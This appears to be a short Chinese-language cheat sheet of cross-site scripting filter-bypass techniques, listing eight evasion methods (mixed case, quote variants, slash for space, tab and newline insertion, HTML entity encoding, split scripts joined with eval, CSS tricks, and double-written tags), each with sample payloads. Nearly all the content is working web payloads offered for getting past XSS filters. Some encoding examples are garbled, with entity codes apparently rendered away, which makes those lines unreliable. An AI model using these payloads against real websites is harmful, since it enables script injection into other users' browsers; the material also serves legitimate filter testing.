我們可以通過構造xss代碼進行各種變形,以繞過xss過濾器的檢測
1.大小寫檢測
將payload進行大小寫轉化
如<Img SRC='#' Onerror="alert(/xss/)"/>
<a HREF="javascript:alert(/xss/)">click me</a>
2.引號的使用
不斷嘗試雙引號,單引號,與沒有引號
如<img src="#" onerror="alert(/#/)">
<img src='#' onerror='alert(/#/)'>
<img src="#" onerror=alert(/#/)>
3.用[/]代替空格
可以用左斜線來代替空格
<img/src="#"/onerror="alert(/#/)"/>
4.回車
在一些位置添加Tab(水平制表符)和回車符,來繞過關鍵字檢測
如<a href="j
a v
ascript:alert(/xss/)">click me!</a>
5.對標簽屬性值進行轉寫
如
字母 ASCII碼 十進制編碼 十六進制編碼
a 97 a a
e 101 e e
可轉化為十進制編碼與十六進制編碼
如<a href=jav=script:alert(/#/)>click me!</a>
可將以下字符插入到任意位置
Tab 	
換行 

回車 
也可以將以下字符串插入到頭部位置
SOH 
STX 
6.拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
7.不常用 css中的變形
(1)使用全角字符
(2)由於注釋會被瀏覽器忽略,使用注釋
(3)樣式表中加[\]和[\0]
8.雙寫繞過
<script>
變為<scr<script>ipt>